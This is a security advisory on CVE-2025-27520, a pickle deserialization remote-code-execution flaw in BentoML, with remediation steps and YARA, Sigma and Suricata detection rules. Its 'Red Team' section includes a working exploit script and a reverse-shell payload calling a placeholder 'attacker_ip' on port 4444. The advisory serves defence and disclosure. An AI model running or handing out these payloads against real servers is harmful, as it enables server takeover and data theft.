CVE-2025-27520

Executive Summary

CVE-2025-27520 is a critical Remote Code Execution (RCE) vulnerability in BentoML, a Python library for building AI model serving systems. The flaw resides in the serde.py module, where insecure deserialization using Python's pickle library allows an unauthenticated attacker to execute arbitrary code on the server. With a CVSS score of 9.8, this vulnerability poses a severe risk to all BentoML deployments running version 1.4.2 or earlier. The vendor has released version 1.4.3 to address the issue.

Supply Chain & Package Security

This vulnerability affects the PyPI package bentoml. Organizations using BentoML should immediately audit their dependencies and update to version 1.4.3 or later. The insecure deserialization flaw can be exploited by sending a crafted pickle payload to the BentoML API endpoint, leading to full server compromise. Supply chain security teams should verify that no malicious pickle payloads have been introduced into their environments.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivially exploitable by any unauthenticated attacker with network access to the BentoML service. No user interaction is required, and the impact is total compromise of confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability exists in the serde.py module of BentoML. The deserialize function uses Python's pickle.loads() to deserialize data received from the network. Python's pickle module is inherently unsafe when used with untrusted data, as it can execute arbitrary code during deserialization.

The vulnerable code path is triggered when BentoML processes incoming API requests that contain serialized data. An attacker can craft a malicious pickle payload that, when deserialized, executes arbitrary system commands. This allows the attacker to gain a reverse shell, install malware, exfiltrate data, or perform any other action on the server.

The attack does not require authentication, making it especially dangerous for internet-facing BentoML instances.

Vulnerable vs. Patched Code

Vulnerable Code (serde.py in version <= 1.4.2):

import pickle

def deserialize(data):
    return pickle.loads(data)

Patched Code (serde.py in version 1.4.3):

import json

def deserialize(data):
    return json.loads(data)

The patch replaces the unsafe pickle.loads() with json.loads(), which is safe against code execution attacks. The patched version also ensures that only JSON-serializable data is accepted, preventing any deserialization-based exploits.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A BentoML server running version 1.4.2 or earlier
• Network access to the BentoML API endpoint
• Python 3 with requests library

Exploit Script:

import pickle
import os
import requests

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(Exploit())

target_url = "http://target:3000/api/v1/serde"  # Example endpoint

response = requests.post(target_url, data=payload)
print("Exploit sent. Check server output for command execution.")

Explanation: The exploit creates a Python class that, when pickled and then deserialized by the vulnerable server, executes the id command. The attacker can replace 'id' with any command, such as a reverse shell payload.

Reverse Shell Payload:

import pickle
import os

class ReverseShell:
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/attacker_ip/4444 0>&1"',))

payload = pickle.dumps(ReverseShell())

Blue Team

Detection Steps:

1. Monitor for unusual network connections to BentoML API endpoints.
2. Inspect incoming POST requests for non-JSON payloads (e.g., binary pickle data).
3. Check server logs for unexpected command execution or process spawning.
4. Use the YARA and Sigma rules provided in the Detection Engineering section.

Honeypot Setup: Deploy a BentoML honeypot running version 1.4.2 to capture exploit attempts. Log all incoming data and monitor for pickle-related anomalies.

Indicators of Compromise (IOCs)

• Network: POST requests to BentoML API endpoints containing binary pickle data (starts with \x80\x04 or similar pickle protocol bytes).
• File System: Unexpected files in /tmp/ or other writable directories created by exploited processes.
• Process: Unusual child processes spawned by the BentoML server (e.g., bash, nc, python).
• Logs: Error logs containing pickle.UnpicklingError or AttributeError related to deserialization.
• Network Connections: Outbound connections to attacker-controlled IPs on common reverse shell ports (4444, 1337, etc.).

Detection Engineering

YARA Rule

rule CVE_2025_27520_Pickle_Payload {
    meta:
        description = "Detects pickle payloads targeting CVE-2025-27520 in BentoML"
        author = "Valters IT"
        date = "2025-03-20"
        reference = "CVE-2025-27520"
    strings:
        $pickle_proto = { 80 [0-3] }  // Pickle protocol bytes
        $reduce = "__reduce__"
        $os_system = "os.system"
        $subprocess = "subprocess"
    condition:
        $pickle_proto at 0 and ($reduce or $os_system or $subprocess)
}

Sigma Rule

title: CVE-2025-27520 BentoML Insecure Deserialization
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts of CVE-2025-27520 via pickle payloads
author: Valters IT
date: 2025-03-20
logsource:
    category: webserver
    product: bentoml
detection:
    selection:
        http.method: 'POST'
        http.url|contains: '/api/v1/serde'
        http.body|startswith: '\x80\x04'  # Pickle protocol 4
    condition: selection
falsepositives:
    - Legitimate pickle usage (unlikely in BentoML context)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27520 BentoML Insecure Deserialization"; flow:to_server; content:"POST"; http_method; content:"/api/v1/serde"; http_uri; content:"|80 04|"; within:2; distance:0; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade BentoML to version 1.4.3 or later: pip install bentoml==1.4.3
2. If immediate upgrade is not possible, restrict network access to the BentoML API using firewall rules or authentication proxies.
3. Monitor logs for exploitation attempts using the provided detection rules.

Long-term Mitigations:

• Implement input validation to reject non-JSON payloads.
• Use a Web Application Firewall (WAF) to block pickle protocol signatures.
• Conduct regular security audits of dependencies.
• Apply the principle of least privilege to the BentoML server process.

Patch Verification: After upgrading, verify that serde.py no longer contains pickle.loads():

grep -r "pickle.loads" /path/to/bentoml/installation

If any results appear, the patch has not been applied correctly.

Valters IT